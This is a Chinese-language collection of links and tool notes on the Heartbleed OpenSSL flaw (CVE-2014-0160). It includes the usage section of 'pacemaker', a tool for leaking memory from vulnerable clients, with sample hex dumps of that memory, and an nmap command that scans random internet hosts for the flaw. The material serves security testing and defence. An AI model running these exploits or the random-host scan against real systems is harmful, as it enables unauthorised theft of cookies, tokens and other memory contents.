https://github.com/DisK0nn3cT/MaltegoHeartbleed
https://github.com/a0726h77/heartbleed-test
https://github.com/musalbas/heartbleed-masstest
https://github.com/decal/ssltest-stls
https://github.com/isgroup-srl/openmagic
https://github.com/offensive-python/HeartLeak
nmap -sV -PS443 --open --script=ssl-heartbleed -iR 0
http://security.stackexchange.com/questions/55085/heartbleed-and-routers-asas-other
一个针对 CVE-2014-0160 的检查工具(网站与命令行):https://github.com/FiloSottile/Heartbleed ssltest.py:由 Jared Stafford 编写的 CVE-2014-0160 快速粗糙演示脚本 http://pastebin.com/WmxzjkXJ
SSL 服务器测试 https://www.ssllabs.com/ssltest/index.html
Metasploit 模块:https://github.com/rapid7/metasploit-framework/pull/3206/files
Nmap NSE 脚本:检测服务器是否受 OpenSSL Heartbleed 漏洞影响:https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
Nmap NSE 脚本:基于 ssl_cert_expiry.nasl 的 OpenVAS nasl 快速封装,用于 ssl_heartbleed 检测:https://gist.github.com/RealRancor/10140249
Heartbleeder:测试你的服务器是否存在 OpenSSL 漏洞:https://github.com/titanous/heartbleeder?files=1
Heartbleed 攻击概念验证与批量扫描:https://bitbucket.org/fb1h2s/cve-2014-0160
Heartbleed 蜜罐脚本:http://packetstormsecurity.com/files/126068/hb_honeypot.pl.txt
https://github.com/Lekensteyn/pacemaker
尝试滥用易受 Heartbleed(CVE-2014-0160)影响的 OpenSSL 客户端。兼容 Python 2 与 3。
运行服务端:
python pacemaker.py
在你的客户端中,打开 https://localhost:4433/(如有需要请替换主机名)。例如:
curl https://localhost:4433/
客户端始终会连接失败:
curl: (35) Unknown SSL protocol error in connection to localhost:4433
如果你不受影响,服务端输出类似:
Connection from: 127.0.0.1:40736
Possibly not vulnerable
如果你确实受影响,你会看到类似:
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
后续全为零字节的行会合并为一行并加上 *(类似 xxd 工具的行为)。
使用 wget -O /dev/null https://google.com https://localhost:4433 时的一个例子,泄漏了更“有趣”的内存:
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
运行 ./pacemaker.py -h 查看更多选项。最重要的选项可能是 -t(--timeout)和 -x(--count)。默认超时时间为 3 秒,这对大多数客户端已足够(除非存在卫星链路等情况)。
示例,为每次心跳增加等待时间(5 秒)并获取四次心跳响应:
./pacemaker.py -t 5 -x 4
理论上,心跳可以持续二十秒,但实际中会很快收到响应。
以下客户端在 Arch Linux 上针对 OpenSSL 1.0.1f 进行了测试,并在握手前泄漏了内存:
links 是一个很好的例子,展示了该漏洞对客户端的影响。它是一个基于文本的浏览器,会泄漏包括头部(cookie、授权令牌)和页面内容在内的详细信息。
此仓库还包含一个针对服务端的工作版本。ssltest.py 由 Jared Stafford([email protected])编写,所有功劳归功于他!该脚本取自 http://s3.jspenguin.org/ssltest.py。
目前,该脚本仅兼容 Python 2。
https://www.nccgroup.com/en/blog/2014/04/heartbleed-openssl-vulnerability/ https://www.mattslifebytes.com/?p=533 https://gist.github.com/takeshixx/10107280 https://github.com/FiloSottile/Heartbleed http://www.reddit.com/r/netsec/comments/22huui/python_heartbleed_cve20140160_proof_of_concept/
http://lab.onsec.ru/2014/04/memory-dumper-based-on-cve-2014-0160.html